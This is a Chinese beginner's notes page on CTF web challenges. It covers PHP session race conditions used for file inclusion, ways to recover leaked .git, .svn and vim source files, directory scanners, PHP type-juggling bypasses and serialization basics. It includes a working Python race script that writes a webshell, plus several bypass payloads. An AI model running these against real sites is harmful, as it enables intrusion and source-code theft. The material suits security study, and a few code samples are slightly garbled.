| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> PHP知识库 -> 朴实无华的CTFweb笔记 -> 正文阅读 |
|
[PHP知识库]朴实无华的CTFweb笔记 |
本文只是CTFWeb部分的一些基础知识,适合新手,部分内容来自网络,侵权即删 文章目录
Web0x00 做题思路
0x01 条件竞争两篇博客 https://www.cnblogs.com/xiaozhiru/p/12639405.html https://blog.csdn.net/qq_46150940/article/details/115639419 一个靶场 http://218.94.126.122:17052/ 可以通过如下组合进行测试
也可以利用通过 0x0101 与PHP代码的竞争
靶场代码
|
Directive | 说明 | Local Value (PHP.ini文件中的内容) | Master Value(当前目录中的设置) |
---|---|---|---|
session.save_handler | 如何保存session,默认是通过文件形式 | files | files |
session.save_path | session保存的位置 | D:\phpStudy\tmp\tmp | D:\phpStudy\tmp\tmp |
session.serialize_handler | php | php | |
session.upload_progress.cleanup | 默认清除 | On | On |
session.upload_progress.enabled | 开启过程记录 | On | On |
session.upload_progress.freq | 1% | 1% | |
session.upload_progress.min_freq | 1 | 1 | |
session.upload_progress.name | PHP_SESSION_UPLOAD_PROGRESS | PHP_SESSION_UPLOAD_PROGRESS | |
session.upload_progress.prefix | upload_progress_ | upload_progress_ | |
session.use_cookies | On | On | |
session.use_only_cookies | On | On | |
session.use_trans_sid | 0 | 0 |
关于Local Value
和Master Value
https://blog.csdn.net/RJxiaowu/article/details/84369547
常见的php-session
存放位置(在Linux
中,PHPStudy
中是在 PHPStudy\tmp\tmp
)
/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED
session.use_strict_mode
默认值为off,这个配置项可以拒绝由用户自己提供的会话ID,从而用户可以自己定义Sessin ID。函数session_start()
控制session
开启。session
下存在upload_progress
属性,用来记录文件上传进度,并且默认是开启状态。当没有使用该session_start()
的时候,通过POST数据包
中的PHP_SESSION_UPLOAD_PROGRESS
字段也可以初始化session_start()
函数,从而PHP会自动初始化Session
,又因为用户定义了自己的Sessin ID,从而PHP会在服务器上建立用户的sess_SESSID文件
。session.upload_progress.cleanup
默认也是开启的,一旦读取了所有POST数据,它就会清除进度信息,注意,这个sess_SESSID
文件本身并没有被删除,只是内容被清空了。所以我们就需要在生成的sess_PHPSESSID
文件被清除之前访问这个文件,然后利用文件包含执行其中的内容,在文件包含目录下生成一句话木马,我们竞争的对象就是session配置文件
。
就是文件包含的代码,可能会对file添加一些过滤
<?php
if (isset($_GET['file'])) {
include './' . $_GET['file'];
}
?>
或者
<?
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data","???",$file);
$file = str_replace(":","???",$file);
$file = str_replace(".","???",$file);
include($file);
}else{
highlight_file(__FILE__);
}
?>
PHP_SESSION_UPLOAD_PROGRESS
开启Session
生成sess_SESSID
文件参考 https://www.cnblogs.com/xiaozhiru/p/12639405.html ,注意windows
中利用PHPStudy
生成的Session
存储在 PHPStudy\tmp\tmp
中
构造一个可以上传PHP_SESSION_UPLOAD_PROGRESS
的表单
<html>
<body>
<form action="" method="post"
enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="888"/>
<!--上面是hidden的,下面可以自己修改写入的内容
<label for="file">PHP_SESSION_UPLOAD_PROGRESS:</label>
<input type="text" name="PHP_SESSION_UPLOAD_PROGRESS" value="888"/>
-->
<input type="file" name="file"/>
<input type="submit" name="submit" />
</form>
</body>
</html>
一定要在前面,不然没办法控制生成的session文件名。
这样抓到的包如下
我们需要添加一个Cookie
字段,这样服务器端才会为我们创建一个sess_sessid
文件,这里的sessid
文件名为miyi
POST /upload_test/session.php HTTP/1.1
Host: 192.168.110.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------310808525326650918013210843263
Content-Length: 480
Cookie: PHPSESSID=miyi
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------310808525326650918013210843263
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
888
-----------------------------310808525326650918013210843263
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream
-----------------------------310808525326650918013210843263
Content-Disposition: form-data; name="submit"
submit
-----------------------------310808525326650918013210843263--
到服务器端看一下
注意接收方式的是GET
,而我们通过POST
在这个页面传参
import io
import requests
import threading
sessid = 'ph1'
def t1(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
'http://localhost/2.php',
# 这里是那个文件上传的页面,这里需要修改
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?=file_put_contents("shell.php","<?=phpinfo();?>")?>'},
files={'file': ('a.txt', f)},
# 传入一个文件,这个文件的内容是f,通过修改内容大小延长session存在的期限
cookies={'PHPSESSID': sessid}
# session保存的名称为 'sess_'+sessid ,这里可以随便改名字
)
def t2(session):
while True:
response = session.get(f'http://localhost/2.php?file=../Extensions/tmp/tmp/sess_{sessid}')
# 这里需要修改,改为目标系统中session文件存在的路径
print(response.text)
with requests.session() as session:
t1 = threading.Thread(target=t1, args=(session, ))
t1.daemon = True
t1.start()
t2(session)
修改对应的访问路径
,和 session文件路径
。由于POST
传递的文件的内容有50KB,后面我也看不懂。。。反正sess_SESSID
文件会存在很久,从而有足够的时间去包含
我们用这段代码测试
<?
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data","???",$file);
$file = str_replace(":","???",$file);
$file = str_replace(".","???",$file);
#var_dump($file);
include($file);
}else{
highlight_file(__FILE__);
}
?>
没有办法进行常规的包含,file=readme.txt
会变成readme???txt
。如果这段代码是在Linux服务器中,那么我们表示路径并不需要.
,直接用绝对路径就行。在Windows系统中绝对路径和相对路径都无法使用,就嗝屁了。。
首先用上面那个表单传参(有上传选项的话直接上传就行)然后抓包添加Cookie
字段,不过PHP_SESSION_UPLOAD_PROGRESS
的值要改为相应的shell
,发送到Intruder
模块,设置无载荷并且适当增加线程来发送这个POST
包,然后构造包含的URL并且访问抓包,设置无载荷并且适当增加线程,如果返回包中的状态码是200,说明木马写入成功,或者系统语句执行成功。
参考文献 https://mp.weixin.qq.com/s/0cOftAGyHRAYE2P-lTW4_w
注意:
有些工具的在Windows中会缺少一些隐藏文件,可以到Linux中试一试
https://mp.weixin.qq.com/s/0cOftAGyHRAYE2P-lTW4_w
https://blog.csdn.net/qq_45086218/article/details/114018286
文本备份文件(index.php为例)
.index.php.swp
.index.php.swo
index.php~
index.php.bak
index.php.txt
index.php.old
index.phps
整站源码备份文件
备份文件名+文件后缀
//备份文件名
www
wwwdata
wwwroot
web
webroot
backup
dist
index
index.php
config
//备份文件后缀
.zip
.tar
.tar.gz
.tar.bz2
.7z
.rar
.txt
.old
.temp
.bak
.~
然后我们写一个Python脚本生成字典
a = ['www', 'wwwdata,wwwroot', 'web', 'webroot', 'backup', 'dist', 'index', 'index.php', 'config']
b = ['.zip', '.tar', '.tar.gz', '.tar.bz2', '.7z', '.rar', '.txt', '.old', '.temp', '.bak', '.~']
for i in a:
for j in b:
print(i+j)
www.zip
www.tar
www.tar.gz
www.tar.bz2
www.7z
www.rar
www.txt
www.old
www.temp
www.bak
www.~
wwwdata,wwwroot.zip
wwwdata,wwwroot.tar
wwwdata,wwwroot.tar.gz
wwwdata,wwwroot.tar.bz2
wwwdata,wwwroot.7z
wwwdata,wwwroot.rar
wwwdata,wwwroot.txt
wwwdata,wwwroot.old
wwwdata,wwwroot.temp
wwwdata,wwwroot.bak
wwwdata,wwwroot.~
web.zip
web.tar
web.tar.gz
web.tar.bz2
web.7z
web.rar
web.txt
web.old
web.temp
web.bak
web.~
webroot.zip
webroot.tar
webroot.tar.gz
webroot.tar.bz2
webroot.7z
webroot.rar
webroot.txt
webroot.old
webroot.temp
webroot.bak
webroot.~
backup.zip
backup.tar
backup.tar.gz
backup.tar.bz2
backup.7z
backup.rar
backup.txt
backup.old
backup.temp
backup.bak
backup.~
dist.zip
dist.tar
dist.tar.gz
dist.tar.bz2
dist.7z
dist.rar
dist.txt
dist.old
dist.temp
dist.bak
dist.~
index.zip
index.tar
index.tar.gz
index.tar.bz2
index.7z
index.rar
index.txt
index.old
index.temp
index.bak
index.~
index.php.zip
index.php.tar
index.php.tar.gz
index.php.tar.bz2
index.php.7z
index.php.rar
index.php.txt
index.php.old
index.php.temp
index.php.bak
index.php.~
config.zip
config.tar
config.tar.gz
config.tar.bz2
config.7z
config.rar
config.txt
config.old
config.temp
config.bak
config.~
其他文件泄露
https://www.neat-reader.cn/webapp#/epubreader?bookguid=cf4dde20-7f0c-4a78-ae91-c8c7e2146a5b
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。需要掌握一些git
的基本语法。
测试是否有git泄露
curl http://xxxx/.git/HEAD
curl http://xxxx/.git/config
这里建议看一下靶场中是怎么找flag的
scrabble
https://github.com/denny0223/scrabblescrabble http://example.com/
GitHack
https://github.com/lijiejie/GitHackpython GitHack.py http://www.openssl.org/.git/
GitHacker
https://github.com/WangYihang/GitHacker建议在Linux中运行
# Installation
pip3 install GitHacker
# Usage
githacker --url http://127.0.0.1/.git/ --folder result
SVN是一个开放源代码的版本控制系统。在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要地方源代码信息。网站管理员在发布代码时,没有使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露在外网环境,可以使用.svn/entries文件,获取到服务器源码。
扫描器扫描到.svn
目录,或利用svnExploit扫描
svnExploit
https://github.com/admintony/svnExploit
svn>1.7
# 检测SVN源代码泄露
python SvnExploit.py -u http://192.168.27.128/.svn
# 下载源代码
python SvnExploit.py -u http://192.168.27.128/.svn --dump
svn-extractor
https://github.com/anantshri/svn-extractorsvn-extractor.py --url "url with .svn available"
Seay Svn
下载地址 http://www.vuln.cn/wp-content/uploads/2015/10/Seay-Svn.rar
dvcs-ripper
工具中的rip-svn.pl
建议下载docker,然后到容器里面去运行
[root@localhost ~]# docker exec -it 467142dceb47 /bin/bash
bash-4.3$ rip-svn.pl -u http://www.example.com/.svn
bash-4.3$ ls -a
. .. .svn index.html
vim
在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后(如不保存关闭terminal),因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
以 index.php 为例:第一次产生的交换文件名为 .index.php.swp
再次意外退出后,将会产生名为 .index.php.swo
的交换文件
第三次产生的交换文件则为 .index.php.swn
方法一
利用curl访问即可直接看到flag,因为vim使用的缓存存储为一种固定格式的二进制文件
。而我们一般编辑时的明文可见字符,会原样保留在vim的缓存中
curl http://www.example.com/.index.php.swp
方法二
将缓存文件下载下来
wget http://www.example.com/.index.php.swp
使用vim编辑原有文件,例如下载的.index.php.swp
,则说明之前编辑的文件名为index.php
会提示是否恢复,选择R
进行恢复即可看到原始内容
vim -r index.php
或者
vim -r .index.php.swp
vim -r .index.php.swo
vim -r .index.php.swn
robots.txt
.DS_Store
.DS_Store
是 Mac OS 保存文件夹的自定义属性的隐藏文件,是Finder用来保存如何展示文件/文件夹
的数据文件,每个文件夹下对应一个。。通过.DS_Store
可以知道这个目录里面所有文件的清单。
Python-dsstore
https://github.com/gehaxelt/Python-dsstorepython main.py DS_Store
ds_store_exp
https://github.com/lijiejie/ds_store_exp
注意Python的版本是2.*
python ds_store_exp.py http://www.example.com/.DS_Store
CSV是一个C/S系统,多个开发人员通过中心版本控制系统来记录文件版本,从而达到保证文件同步的目的。主要是针对CVS/Root以及CVS/Entries目录,直接就可以看到泄露的信息。
返回根信息:http://www.example.com/CVS/Root
返回所有文件的结构:http://www.example.com/CVS/Entries
漏洞利用工具:dvcs-ripper
项目地址:https://github.com/kost/dvcs-ripper.git
运行示例:
rip-cvs.pl -v -u http://www.example.com/CVS
prel脚本
建议下载docker,然后到容器里面去运行
Mercurial是一种轻量级分布式版本控制系统,使用hg init的时候会生成.hg
。
漏洞利用工具:dvcs-ripper
项目地址:https://github.com/kost/dvcs-ripper.git
运行示例:
rip-hg.pl -v -u http://www.example.com/.hg/
# 忽略SSL证书认证
rip-hg.pl -s -v -u http://www.example.com/.hg/
WP : hg泄露
WEB-INF是Java的Web应用的安全目录,如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。
WEB-INF主要包含以下文件或目录:
通过找到 web.xml 文件,推断 class 文件的路径,最后直接下载 class 文件,再通过反编译 class 文件,得到网站源码。
通过anaconda https://blog.csdn.net/ITLearnHall/article/details/81708148 创建python3.8.8的环境可以运行dirmap和dirsearch
下面部分内容是从干货 | 渗透测试之敏感文件目录探测总结复制的
dirmap
https://github.com/H4ckForJob/dirmappython3 dirmap.py -i https://target.com -lcf
python3 dirmap.py -i 192.168.1.1 -lcf
dirsearch
https://blog.csdn.net/Jiajiajiang_/article/details/81391982python dirsearch.py -u xxx -e * [-s 1]
//-s设置请求之间的延时
7kbscan-WebPathBrute
https://github.com/7kbstorm/7kbscan-WebPathBrute
御剑
DirBuster
DirBuster是OWASP(Open Web Application Security Project)开发的一款专门用于探测Web服务器目录及隐藏文件的,功能十分强大的工具。DirBuster最擅长目录的暴力猜解,因此,DirBuster一般都会发现一些目录浏览、目录遍历及目录穿越等漏洞,甚至还会发现一些后台管理地址等。
wwwscan
wwwscan是一款网站后台扫描工具,简单好用又强大。它有命令行和图形界面两种。
dirb
Kali Linux内置工具
dirb是一个基于字典的web目录扫描工具,会用递归的方式来获取更多的目录,它还支持代理和http认证限制访问的网站。
运行示例:
dirb http://www.baidu.com
dirmap
一个高级web目录扫描工具,功能将会强于DirBuster、Dirsearch、cansina、御剑
项目地址:https://github.com/H4ckForJob/dirmap
运行示例:
python3 dirmap.py -i https://target.com -lcf
Cansina
Cansina是用python写的一款探测网站的敏感目录和内容的安全测试工具
项目地址:https://github.com/deibit/cansina
运行示例:
python3 cansina.py -u http://baidu.com
dirsearch是一个python开发的目录扫描工具,目的是扫描网站的敏感文件和目录从而找到突破口。
项目地址:https://github.com/maurosoria/dirsearch/
运行示例:
python3 dirsearch.py -u http://www.baidu.com -e php,js --exclude-status 403,401
weakfilescan
基于爬虫,动态收集扫描目标相关信息后进行二次整理形成字典规则,利用动态规则的多线程敏感信息泄露检测工具。
项目地址:https://github.com/ring04h/weakfilescan
运行示例:
python wyspider.py http://wuyun.org php
""(空字符串)
0(整数0)
0.0(浮点数0)
"0"(字符串0)
NULL
FALSE
array()(一个空数组)
$var;(一个声明了,但是没有值的变量)
这些两两通过==
比较,基本都会返回true,但是===
全部是false
<?php
$a = NULL;
$b = FALSE;
$c = "";
$d = 0;
$e = 0.0;
$f = array();
$g = "0";
echo !$a;
echo !$b;
echo !$c;
echo !$d;
echo !$e;
echo !$f;
echo !$g;
var_dump(!$a);
var_dump(!$b);
var_dump(!$c);
var_dump(!$d);
var_dump(!$e);
var_dump(!$f);
var_dump(!$g);
?>
=>1111111
bool(true)
bool(true)
bool(true)
bool(true)
bool(true)
bool(true)
bool(true)
搜索常见的弱类型
https://www.cnblogs.com/Mrsm1th/p/6745532.html#!comments
https://blog.csdn.net/heiseweiye/article/details/82735640
?
常见的编码
HEX
3D45353D39333D38383D45353D39333D38383D45353D39333D38383D45353D39333D38382C3D4
JSfuck(通过[]()+!
这六个字符表示JS代码)
+[]]+(!![]+[])[+[]]
=8D=8A=E5
Base64/32/16
可能需要自己加=
推荐阅读:
如下都是通过数组绕过
preg_match()
在代码执行漏洞中,PHP是忽略大小写的,可以用于绕过preg_match
匹配:比如system()
过滤了,但是System()
没有过滤。如果传入的参数是数组,则返回false
strcmp()
strcmp()
函数是比较两个字符串的大小,返回比较的结果。一般形式是:
i=strcmp(字符串,字符串);
其中,字符串1
、字符串2
均可为字符串常量或变量;i
是用于存放比较结果的整型变量。比较结果是这样规定的:
①字符串1小于字符串2,strcmp
函数返回一个负值;
②字符串1等于字符串2,strcmp
函数返回零;
③字符串1大于字符串2,strcmp
函数返回一个正值;
期望传入的数据类型是字符串类型,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当接受到了不符合的类型,这个函数将发生错误。在php 5.2版本以及之前的版本中,利用strcmp函数将数组
与字符串
进行比较会返回-1,但是从5.3开始,会返回0
!也就是虽然报了错,但却判定其相等了。。
strpos()
函数查找字符串在另一字符串中第一次出现的位置。遇到数组返回NULL。
用法:
strpos(string $haystack, mixed $needle, int $offset = 0): int
返回 needle
在 haystack
中首次出现的数字位置。
如下两种Payload都是可以的
?para=miyi[]
?para[]=miyi
别名 strstr()
,返回字符串第一次出现到结束位置之间的字符串
<?php
$email = 'name@example.com';
$domain = strstr($email, '@');
echo $domain; // 打印 @example.com
$user = strstr($email, '@', true); // 从 PHP 5.3.0 起
echo $user; // 打印 name
?>
strrstr()
字符串最后一次出现到结束位置之间的字符串
stristr()
是strstr()忽略大小写的版本
ereg()
/eregi()
<?php
$flag = '*********';
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
# 这段正则表示,[]中的内容至少出现1次且必须以其中的内容开头和结尾,本质上就是说,password传递的参数值必须和^$之间的值相等,由于 []+ 代表所有的大小写字母和数字的组合,所以password中不能含有其他的符号,否则会返回false
echo '<p class="alert">You password must be alphanumeric</p>';
else if (strpos ($_GET['password'], '--') !== FALSE)
die($flag);
else
echo '<p class="alert">Invalid password</p>';
}
?>
int ereg(string pattern, string originalstring, [array regs]);
ereg()
函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的,遇到数组做参数返回NULL。ereg区分大小写,而eregi不区分大小写。
? 遇到%00
则默认为字符串的结束
strcasecmp()
传入的如果是数组,直接为null ,null == 0
md5()
===
)==
) 如下有一些字符串的MD5值为0e开头,这里记录一下
QNKCDZO
QLTHNDT
240610708
s878926199a
s155964671a
s214587387a
s1091221200a
s1885207154a
s1836677006a
还有MD5和双MD5以后的值都是0e开头的
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM
sha1()绕过
数组绕过
urldecode()二次绕过
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>
要想得出flag我们即要求id
不能等于hackerDJ
,又要求id
的urldecode
解码等于id
因此我们需要进行两次编码:h --> %68 --> %2568
,$_GET[id]
会自动解码URL一次。
file_get_contents()
当PHP的file_get_contents()
函数在遇到不认识的伪协议头
时候会将伪协议头当做文件夹
造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。
上源码:
<?php
highlight_file(__FILE__);
error_reporting(0);
if(!preg_match('/^http/is', $_GET['a'])){
die("no hack");
}
echo file_get_contents($_GET['a']); no hac
? Payload:
?a=httpsss://../../../../../flag
或
?a=httpsssss://abc../../../../../../flag
json_decode
绕过
json_decode
解析字符串的时候会把字符串转成int 类型$a = "6493798054351761409";
$linData['options']['defvalue'] = json_decode($a, true);
var_dump($a);
var_dump($linData);
结果如下:
string(19) "6493798054351761409"
array(1) {
["options"]=>
array(1) {
["defvalue"]=>
int(6493798054351761409)
}
}
当$a
为字符串时,返回NULL
上源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
$num = $_GET['num'];
if(!isset($num)||(strlen($num)==0)) die("no");
$b=json_decode($num);
if($y = $b === NULL){
if($y === true){
echo file_get_contents('../flag');
}
}else{
die('no');
}
payload: num=NULL || num=%20 || num= (空格)
→ 可以BP抓包修改
payload={“key”:0}
json_decode()
的结果是0
0=="admin"
数组绕过即可,返回NULL
switch
绕过<?php
$a="4admin";
switch ($a) {
case 1:
echo "fail1";
break;
case 2:
echo "fail2";
break;
case 3:
echo "fail3";
break;
case 4:
echo "sucess"; //结果输出success;
break;
default:
echo "failall";
break;
}
?>
is_file
绕过判断给定文件名是否为一个正常的文件
is_file ( string $filename ) : bool
如果需要函数值为false,又要作为文件读取内容,可以通过伪协议来绕过,具体请参考伪协议利用(二)之is_file()
&highlight_file()
require_once
绕过参考 https://bbs.zkaq.cn/t/6043.html
参考 https://www.anquanke.com/post/id/213235#h3-3
源码
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
?file=php://filter/read=convert.base64-encode/resource=file:///proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/flag.php
strripos
计算指定字符串在目标字符串中最后一次出现的位置(不区分大小写)
用法
strripos(string $haystack, string $needle, int $offset = 0): int
以不区分大小写的方式查找指定字符串在目标字符串中最后一次出现的位置,返回needle
相对于 haystack
字符串的位置(和搜索的方向和偏移量无关)。同时注意字符串的起始位置为 0 而非 1。
如果needle
未被发现,返回 false
。与 strrpos()
不同,strripos() 不区分大小写。
<?php
var_dump(strripos('class\sdf\sdfd\sdf','\\'));
?>
=> int(14)
strcmp
数组绕过返回
PHPstrcmp(str1,str2)
函数:比较两个字符串(区分大小写)。
如果str1
小于str2
返回 < 0; 如果str1
大于str2
返回 > 0;如果两者相等返回 0。
<?php
highlight_file(__FILE__);
define('FLAG','miyi{miyi_house_cn}');
if(strcmp($_GET['flag'],FLAG) == 0){
echo "success,flag:".FLAG;
}
?>
=> ?flag[]=1
在php 5.2
版本以及之前的版本中,利用strcmp
函数将数组与字符串进行比较会返回-1,但是从5.3开始,会返回0!也就是虽然报了错,但却判定其相等了。用数组绕过时会触发一个warning,但是这不影响漏洞的实现.
常见函数小结
ltrim
- 删除字符串开头的空白字符(或其他字符)ltrim(string $str, string $character_mask = ?): string
str
:输入的字符串。
character_mask
:通过参数 character_mask
,你也可以指定想要删除的字符,简单地列出你想要删除的所有字符即可。
https://zhidao.baidu.com/question/1372549398546810659.html
https://www.cnblogs.com/hellohell/p/5718319.html
<?php
echo "waht the hell?";
$flag = "*******";
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?>
靶场地址:http://sz6m1880.ia.aqlab.cn/Web-Security/CTF/3/web19/index.php
解析writeup https://bbs.zkaq.cn/t/4152.html
关于**[:graph:]
** https://www.cnblogs.com/Jordandan/p/11211729.html
或者 https://www.runoob.com/linux/linux-comm-tr.html
关于开头^ 结尾$
对于IP地址中.
的过滤
IP 地址的十进制表示可以绕过对.
的过滤
https://www.whois365.com/cn/tools/decimal-ip/encode/
通过异或
https://ctf-wiki.org/web/php/php/
(.*?)
1、. 匹配除换行符“\n”外的任意字符;
2、*表示匹配前一个字符0次或无限次;
3、?表示前边字符的0次或1次重复
4、+或*后跟?表示非贪婪匹配,即尽可能少的匹配,如*重复任意次,但尽可能少重复;
5、 .*?表示匹配任意数量的重复,但是在能使整个匹配成功的前提下使用最少的重复。
如:a.*?b匹配最短的,以a开始,以b结束的字符串。如果把它应用于aabab的话,它会匹配aab和ab。而贪婪匹配a.*b 则会匹配整个字符串aabab
re.S
https://blog.csdn.net/weixin_42781180/article/details/81302806
:
的使用https://blog.csdn.net/hxkjnet360/article/details/17063311
常用匹配
匹配邮箱
[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z0-9]+
^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$
^\d{11}$
1[3,5,8]{1}[0-9]{1}[0-9]{8}|0[0-9]{2,3}-[0-9]{7,8}(-[0-9]{1,4})?
<a href=([\"\'])(http:\/\/([\w\d\.])+)[^>]*>(.*?)<\/a>
[]
、()
、{}
https://www.cnblogs.com/richiewlq/p/7307581.html
=>
一、=>,->的意思:
->是对象执行方法或取得属性用的。
=>给数组声明键值对的时候赋值用的
二、用法
1、=> 的用法
数组中用于声明数组的 key 和 value之间的关系
例如:
$a = array(
'0' => '1',
'2' => '4',
);
echo $a['0'];
echo $a['2'];
2、-> 的用法
类中用于引用`类实例`的`方法`和`属性`
例如:
class Test{
public $a;
public function __construct(){
$this->a = 'xx';
}
var $var = 0;
function add(){
return $this->var++;
}
}
$a = new Test; //实例化对象名称
echo $a->add();
echo $a->var;
二进制:(前缀:0b/0B)(后缀:b/B)
八进制:(前缀:0)(后缀:o/O)
十进制:(前缀:无,可加+/-)(后缀d/D)
十六进制:(前缀:0x/0X)(后缀:h/H)
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
Fuzz脚本
<?php
for($i = 0; $i<129; $i++){
$num=chr($i).'36';
if(trim($num)!=='36' && is_numeric($num) && $num!=='36' && filter($num)=='36'){
echo urlencode(chr($i))."\n";
}
}
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
?>
num通过is_numeric
的检测,并且不等于36,去空后依然不等于36,经过过滤方法后依然等于36
得到%0C
,从而%0C36
是答案
至于为啥是这个我也百思不得其解
看不懂就把每一部分的功能写上
存在主要原因:(必要但不充分)
博客写的不咋的 miyimiyi.xyz
__construct()
:构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的__destruct()
:析构函数,类似于C++,会在某个对象的所有引用都被删除或者当对象被显示销毁($obj = null;)
时执行,当对象被销毁时会自动调用。默认情况下是在程序执行结束时自动调用。__wakeup()
:unserialize()反序列化前会检查是否存在,存在则会优先调用__toString()
:当一个对象被当作字符串时(echo)就会调用__sleep()
:用于提交未提交的数据,或类似的清理操作,因此当一个对象被序列化的时候会调用更多请到博客中查看
关于php 面向对象中构造函数__contruct()
和析构函数__destruct()
建议看一下PHP面向对象——构造函数、析构函数
? php 面向对象中构造函数__contruct()
和析构函数__destruct()
我们在创建和销毁对象时需要执行一些任务,例如,在创建对象时给属性赋值,在对象销毁时关闭数据库连接,就需要构造函数和析构函数。构造函数是实例化类时调用该函数,因此此函数在实例化类时做一些初始化工作。__destruct()
析构函数当php脚本不再与对象相关时,析构函数将被调用,会自动回收与销毁对象,一般情况下不需要显式的去销毁对象。构造函数可以接受参数,能够在创建对象时赋值给对象属性。析构函数是在销毁对象时,自动调用,不能显示的调用,析构函数不能带参数。
在以下几种情况下可能会调用析构函数(但不一定):
$test = new sercet('flag.php'); //调用构造函数
echo "1"."<br />";
$test = serialize($test)."<br />"; //序列化对象,$test本来是对象的一个引用,现在指向了字符串,就是第三种情况,这里就会调用析构函数
echo $test;
$test = urlencode($test);
echo $test;
输出如下:
_construct执行
1
__destruct执行
O:6:"sercet":1:{s:12:"sercetfile";s:8:"flag.php";}
O%3A6%3A%22sercet%22%3A1%3A%7Bs%3A12%3A%22%00sercet%00file%22%3Bs%3A8%3A%22flag.php%22%3B%7D%3Cbr+%2F%3E
**序列化对于不同类型得到的字符串格式**为:
String
: s:size:value;Integer
: i:value;Boolean
: b:value;(当boolean型数据为false时,为0,否则为1)Null
: N;Array
: a:size:{key definition;value definition;(repeated per element)}Object
: O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}不同类型属性序列化后属性名有不同的格式
属性值都一样
Public
属性序列化后格式:成员名
Private
属性序列化后格式:%00类名%00成员名
Protected
属性序列化后的格式:%00*%00成员名
<?php
class test{
pblic $name = 'xiaohua'; //公有
private $address = 'shanxi'; //私有
protected $age = '21'; //保护
}
$test1 = new test();
$object = serialize($test1);
print_r($object);
?>
页面显示的结果是:
O:4:"test":3:{s:4:"name";s:7:"xiaohua";s:13:"testaddress";s:6:"shanxi";s:6:"*age";s:2:"21";}
可以发现, a d d r e s s 和 address和 address和age的实际长度与标识的不一样。而查看页面源代码,发现有无法打印的字符。
